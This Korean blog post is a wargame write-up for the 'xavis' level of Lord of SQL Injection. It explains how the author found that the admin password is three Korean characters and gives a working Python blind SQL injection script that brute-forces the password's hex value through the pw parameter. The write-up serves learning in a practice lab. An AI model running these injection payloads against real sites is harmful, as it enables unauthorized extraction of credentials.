티스토리 뷰
54번째 글.
1. 코드 분석
뭐지 특별한 것이 없었다.
기존에 풀었던 문제들과 같으며 특이점이 없다.
2. Exploit
하지만 역시 쎄한기분은 틀리지 않았다.
pw의 길이는 12로 나오는데 아무리 해봐도 pw가 찍히지 않았다.
결국 힌트를 찾게 되었고 pw가 영문이나 숫자가 아닐 수 있다는 것을 알게 되었다.
자연스럽게 한글일 수 있겠구나라고 생각했다.
pw의 첫 글자의 길이를 찍어봤더니 4바이트라고 한다.
그러면 처음의 모든 길이를 찍었을 때 12였으니 3글자일 것이다.
그리고 기존의 pw를 hex() 함수를 써서 변환해본 결과 총 24글자가 나왔다.
(한글에서 영문과 숫자로 이루어진 조합으로 되기 때문에 한 글자에 1바이트씩 되므로 혼동하지 말자)
3등분으로 쪼개면 8 글자씩 된다.
즉 16진수로 표현했을 때
예시로 00 AA B1 C2 이렇게 한 세트로 한글 1글자가 4바이트로 표현된 것이다.
이렇게 hex()를 이용해서 pw를 찍어봤더니 0000c6b0 0000c655 0000ad73 이렇게 나왔고
pw로 바로 넣으면 안 되기 때문에 변환해보면
pw가 '우왕굳' 인 것을 알 수 있다.
import requests
import string
sess = requests.session()
headers = {'Cookie': 'PHPSESSID=YOURSESSID'}
# password_length = 0
admin_password = ''
hexdigits = string.hexdigits
same_str=''
print(hexdigits)
## get password length
for i in range(100):
url = f"https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=' or id='admin' and length(hex(pw))={i}%23"
res = sess.get(url, headers=headers)
if('Hello admin' in res.text):
print('Password length is ', i)
password_length = i
break
## get password
for i in range(password_length+1):
print(i)
for j in hexdigits:
url = f"https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=' or id='admin' and 1=if(substr(hex(pw),{i},1)='{j}',1,0)%23"
res = sess.get(url, headers=headers)
if('Hello admin' in res.text):
admin_password = admin_password+j
print(admin_password)
break
print("Admin Password is " + admin_password)
'writeup > LOS' 카테고리의 다른 글
[Lord of SQL injection] iron_golem (0) | 2021.07.23 |
---|---|
[Lord of SQL injection] dragon (0) | 2021.07.20 |
[Lord of SQL injection] nightmare (0) | 2021.07.19 |
[Lord of SQL injection] zombie_assassin (0) | 2021.07.19 |
[Lord of SQL injection] succubus (0) | 2021.07.16 |
공지사항
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- DreamHack
- WebHacking
- dreamhack DOM XSS
- blind injection
- csp bypass
- Windows Fundamentals
- wargame
- 웹해킹
- dreamhack padding oracle
- hack the box
- webhacking.kr
- 드림핵 DOM XSS
- SQL Injection
- htb
- CSS Injection
- 해커팩토리
- Lord of SQL injection
- dreamhack web-alasql
- csp
- xxe injection
- dreamhack CSS Injection
- LFI vulnerability
- htb Windows Fundametals
- 드림핵
- alasql
- php LFI
- hackerfactory
- 드림핵 Relative Path Overwrite
- 드림핵 padding oracle
- dreamhack Relative Path Overwrite
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |
글 보관함